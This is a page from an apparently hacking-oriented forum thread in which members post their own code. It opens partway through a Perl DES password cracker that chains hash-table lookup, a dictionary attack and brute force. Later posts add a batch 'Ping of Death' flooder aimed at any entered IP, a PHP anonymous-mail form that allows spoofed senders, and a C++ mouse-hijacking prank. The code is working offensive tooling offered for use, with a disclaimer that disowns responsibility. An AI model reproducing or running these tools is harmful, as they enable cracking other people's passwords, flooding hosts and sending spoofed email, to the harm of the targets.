         if($passwd[0] eq $hash)
         {
            print "Password cracked!!!\n";
            print "The password is: $passwd[1]\n";
            print "The password was cracked in $count tries.\n";
            close DICT;
            close HTDES;
            exit;
         }
      }
   }
   print "The password was not found in the precomputed hash table. once found, it will be added.\n";
   $count = 0;
   print "Starting dictionary attack using the words in $dict.\n";
   while(defined(my $password = <DICT>))
   {
      chomp $password;
      $count++;
      if(crypt($password, $salt) eq $hash)
      {
         print "Password cracked!!!\n";
         print "Password is: $password\n";
         print "Password was cracked in $count tries.\n";
         close DICT;
         print "Adding $hash\:$password to the DES precomputed hash table...\n";
         open(HTDES, ">>cracker.des");
         print HTDES "$hash\:$password\n";
         close HTDES;
         print "Entry added. Exiting...\n";
         exit;
      }
   }
   $count = 0;
   close DICT;
   print "The password was not found in the dictionary attack. Moving onto charset \(a \- zzzzzz\) bruteforce...\n";
   my $password = "a";
   for($password = "a"; $password lt "zzzzzz"; $password++)
   {
      $count++;
      if(crypt($password, $salt) eq $hash)
      {
         print "Password Cracked!!!\n";
         print "The password is: $password\n";
         print "Password was cracked in $count tries.\n";
         close DICT;
         print "Adding $hash\:$password to the DES precomputed hash table...\n";
         open(HTDES, ">>cracker.des");
         print HTDES "$hash\:$password\n";
         close HTDES;
         print "Entry added. Exiting...\n";
         exit;
      }
      $password++;
   }
   $count = 0;
   print "Password was not found in charset brute force. Starting numrange brute force \(0 \- 9999999\)...\n";
   $password = "0";
   while($password <= 9999999)
   {
      $count++;
      if(crypt($password, $salt) eq $hash)
      {
         print "Password Cracked!!!\n";
         print "The password is: $password\n";
         print "Password was cracked in $count tries.\n";
         close DICT;
         print "Adding $hash\:$password to the DES precomputed hash table...\n";
         open(HTDES, ">>cracker.des");
         print HTDES "$hash\:$password\n";
         close HTDES;
         print "Entry added. Exiting...\n";
         exit;
      }
      $password++;
   }
   die "The password was not found in all the attacks.\n";
}






"Root is a state of mind" -- K0resh
Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 22-08-05 09:30
[edit: by the way, newtype, nice job on that perl prog. looks like some good work :)][/edit]
----
In short, this C++ program is like Crystal Methamphetamine for your mouse. Have fun! Oh by the way, to break out of it, press Control + Shift + H.

#Nobodies responsible for what you do with my crap you can do what you want at your own will but it is always you that will be responsible, not nobody else not no how#

Begin Code:
-----------------------
Code

#include <windows.h>
#include <iostream>
#include <string>
using std::endl;
using std::cout;
using namespace std;

int main()
{
int exs = GetSystemMetrics(SM_CXSCREEN);
int why = GetSystemMetrics(SM_CYSCREEN);
while (666)
{
 SetCursorPos(rand()%exs, rand()%why);
 if(GetAsyncKeyState(VK_CONTROL)&&GetAsyncKeyState(VK_SHIFT)&&
 GetAsyncKeyState('H')) return 0;
}
}




-------------------




Edited by on 22-08-05 09:50
Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 04-11-05 05:53
Well here is one Ping of death program i made in BATCH, Its very simple.

Code

@echo off
TITLE The Pinger
color f1
color 04

:start
echo                          Dealer X9s Ping Of Death
echo                           Hit Enter to continue
SET /P ans=%1
IF "%ans%"=="ok" GOTO :ping

:ping
cls
echo                  (Ping (PoD))
set /P pingofdeath= Enter IP:
set /P bytes= Enter Bytes to send (Max 65500):
ping %pingofdeath% -t -l %bytes%
echo.
pause
cls
goto start






Author

RE: Source code


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 04-11-05 06:34
This does absolutely nothing cause i cant find any source code(That i wrote)
Code
<?php print("HAHAHAHAHAHA... Hi"); ?>




--Edit--
NO WAIT I found some pretty crappy code i wrote a few months back (Its one i wrote an article on
Code
<html>
<body>
<center>
<?
if (isset ($_POST['submit'])) {
if (empty($_POST['from'])) {
print ("Please fill in an email address");
}
if (empty ($_POST['to'])) {
print ("Please enter a to address");
}
if (empty ($_POST['subject'])) {
print ("Please enter a subject");
}
if (empty ($_POST['message'])) {
print ("Please enter a message");
}
else {
$from = $_POST['from'];
$to = $_POST['to'];
$subject = $_POST['subject'];
$message = $_POST['message'];
mail("$to ", "$subject" , "$message", "From: $from");
}
}
?>
<form Method="POST" action="anonemail.php">
From:<br />
<input type="Text" name="from" width="140"><br />
To:<br />
<input type="Text" name="to" width="140"><br />
Subject <br />
<input type="Text" name="subject" width="140"><br />
Comments:<br /><textarea cols="20" rows="5" name="message"></textarea><br />
<input type="submit" value="Submit" name="submit">
</form>
</center>
</body>
</html>




YAY HTML




Edited by on 04-11-05 06:37
Page 2 of 3 < 1 2 3 >